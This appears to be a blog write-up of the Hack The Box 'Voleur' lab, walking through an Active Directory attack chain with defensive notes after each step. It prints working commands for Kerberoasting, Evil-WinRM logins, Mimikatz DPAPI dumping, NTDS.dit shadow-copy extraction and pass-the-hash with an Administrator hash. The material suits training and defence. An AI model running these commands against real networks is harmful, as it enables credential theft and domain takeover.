Listen to this Post
Introduction:
The compromise of the “Voleur” machine on Hack The Box provides a masterclass in modern Active Directory attack chains. This attack path, moving from initial access to full domain domination, leverages a combination of weak credentials, Kerberos exploitation, and advanced privilege escalation techniques like ACL abuse and DPAPI attacks, highlighting critical defensive gaps in enterprise networks.
Learning Objectives:
- Understand the end-to-end kill chain of a modern Active Directory penetration test.
- Master critical offensive security techniques including Kerberoasting, ACL manipulation, and DPAPI abuse.
- Learn the corresponding defensive measures to detect and mitigate each stage of the attack.
You Should Know:
1. Initial Access: Cracking Password-Protected SMB Shares
Often, initial footholds are gained by accessing network file shares containing sensitive information.
Command:
Enumerate SMB shares smbclient -L //10.10.10.100 -N Download a specific file from a share smbclient //10.10.10.100/Data -N -c 'get budget.xlsx'
Step-by-Step Guide:
The `smbclient` command is used to interact with SMB/CIFS shares. The `-L` flag lists available shares on the target, while `-N` allows for a null session (no password). Once a share of interest is identified, you can connect to it and download files. In the Voleur scenario, an Excel file was retrieved. This file can then be analyzed for embedded credentials or other sensitive data, often requiring password cracking with tools like `john` or `hashcat` if the file is protected.
2. Kerberoasting: Compromising Service Accounts
Kerberoasting is a technique for attacking service accounts in Active Directory by requesting Kerberos tickets and attempting to crack their offline.
Command:
Request Kerberos tickets for service accounts python3 GetUserSPNs.py -request -dc-ip 10.10.10.100 'DOMAIN/LocalUser' -outputfile kerberoast_hashes.txt Crack the captured hash hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
Step-by-Step Guide:
Using tools like `GetUserSPNs.py` from the Impacket suite, an attacker with valid domain credentials can request Service Principal Names (SPNs). These are returned as Kerberos TGS tickets, which are encrypted with the service account’s password hash. These tickets can be exported and subjected to offline brute-force or dictionary attacks. Successfully cracking a service account’s password, like `svc_winrm` in the Voleur example, often provides access to more privileged services.
3. Lateral Movement: Gaining WinRM Access
Windows Remote Management (WinRM) is a common service used for lateral movement once credentials are obtained.
Command:
Connect via WinRM using Evil-WinRM evil-winrm -i 10.10.10.100 -u svc_winrm -p 'Password123!' Using Impacket's wmiexec for an alternative method python3 wmiexec.py 'domain/svc_winrm:[email protected]'
Step-by-Step Guide:
After obtaining valid credentials for a user with remote management privileges, you can use a tool like Evil-WinRM to establish a PowerShell session on the target. This provides an interactive command-line interface. The `-i` specifies the IP, `-u` the username, and `-p` the password. This step demonstrates the critical need for strong, unique passwords for service accounts and the importance of monitoring for anomalous remote logins.
4. Privilege Escalation: ACL Abuse and Object Restoration
Active Directory ACLs can be misconfigured, allowing users to restore deleted objects, which can be a powerful privilege escalation vector.
Command:
PowerView command to check for ACL rights on deleted objects
Get-ObjectAcl -Identity "CN=Deleted Objects,DC=domain,DC=local" | ? {$_.ActiveDirectoryRights -match "WriteProperty"}
Restore a deleted object (e.g., a user)
Restore-ADObject -Identity '<Deleted Object GUID>'
Step-by-Step Guide:
Within a WinRM session, tools like PowerView can be used to enumerate ACLs. If a user has the necessary rights over the “Deleted Objects” container, they can restore previously deleted items. An attacker might restore a deleted user account that was a member of privileged groups. This technique underscores the importance of auditing and hardening AD ACLs and ensuring the “AdminSDHolder” container is properly configured.
5. DPAPI Abuse: Extracting Master Keys
The Data Protection API (DPAPI) is used by Windows to protect user data. An attacker with appropriate access can extract master keys to decrypt user secrets.
Command:
On the compromised host, using Mimikatz to dump DPAPI master keys privilege::debug sekurlsa::dpapi Alternatively, using SharpDPAPI to extract keys and credentials SharpDPAPI masterkeys /machine
Step-by-Step Guide:
DPAPI master keys are protected by the user’s password or a system-wide key. If you compromise a user’s context or have local administrator access, you can use tools like Mimikatz or SharpDPAPI to extract these keys. The `sekurlsa::dpapi` command in Mimikatz will show the master keys cached in LSASS. These keys can then be used to decrypt other protected files and credentials stored by the user or system.
6. Dumping Domain Backups and NTDS.dit
The NTDS.dit file is the Active Directory database containing all password hashes. Compromising backups of this file leads to total domain compromise.
Command:
Using vssadmin to create a volume shadow copy and copy NTDS.dit vssadmin create shadow /for=C: copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit Dumping the SYSTEM hive for the boot key reg save HKLM\SYSTEM C:\temp\system.bak
Step-by-Step Guide:
With elevated privileges, an attacker can use the Volume Shadow Copy Service (vssadmin) to create a shadow copy of the C: drive. This allows them to copy the `NTDS.dit` database file and the `SYSTEM` hive without locking the live files. These two files are then exfiltrated to the attacker’s machine for offline processing. This technique is a primary reason why Tier-0 administrative accounts must be rigorously protected.
7. Final Domination: Pass-the-Hash to Administrator
With the hashes dumped from the NTDS.dit file, an attacker can perform a Pass-the-Hash (PtH) attack to assume the identity of the Administrator.
Command:
Using Impacket's psexec with the Administrator NTLM hash python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4 [email protected] Using Evil-WinRM with a hash evil-winrm -i 10.10.10.100 -u Administrator -H 579da618cfbfa85247acf1f800a280a4
Step-by-Step Guide:
Pass-the-Hash is a lateral movement technique that uses the NTLM hash of a user’s password (instead of the plaintext password) to authenticate to a remote service. The `psexec.py` script from Impacket is a common tool for this. By providing the Administrator’s NTLM hash, the attacker can gain a high-integrity shell on the target machine, achieving full control over the domain. Defending against this requires technologies like Windows Defender Credential Guard and strict NTLM audit policies.
What Undercode Say:
- The entire attack chain is predicated on a series of misconfigurations and weak security practices, not a single zero-day exploit.
- Detection and mitigation must be layered; preventing any single step could have broken the entire chain of compromise.
The Voleur machine is a stark reminder that security is a chain, and its strength is determined by the weakest link. From an insecure SMB share leading to credential discovery, to weak service account passwords vulnerable to Kerberoasting, and finally to excessive ACL permissions allowing for object restoration, each step was preventable. Defenders must focus on hardening these common weak spots: enforcing the principle of least privilege on both file shares and AD objects, implementing strong password policies for service accounts, aggressively monitoring for Kerberoasting activity, and protecting Tier-0 assets from unnecessary logon rights. This machine is less about novel exploits and more about the meticulous exploitation of common architectural flaws.
Prediction:
The techniques demonstrated in the Voleur compromise will remain highly relevant in the offensive security landscape for the foreseeable future. As organizations continue to struggle with the complexity of Active Directory and cloud identity management, these attack vectors will be the primary tools for red teams and malicious actors alike. We predict a growing convergence of these traditional AD attacks with cloud identity persistence techniques, creating even longer and more complex attack chains that will challenge both prevention and detection capabilities. The future of defense lies in robust identity threat detection and response (ITDR) platforms and a fundamental shift towards a zero-trust architecture.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Foued Saidi – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
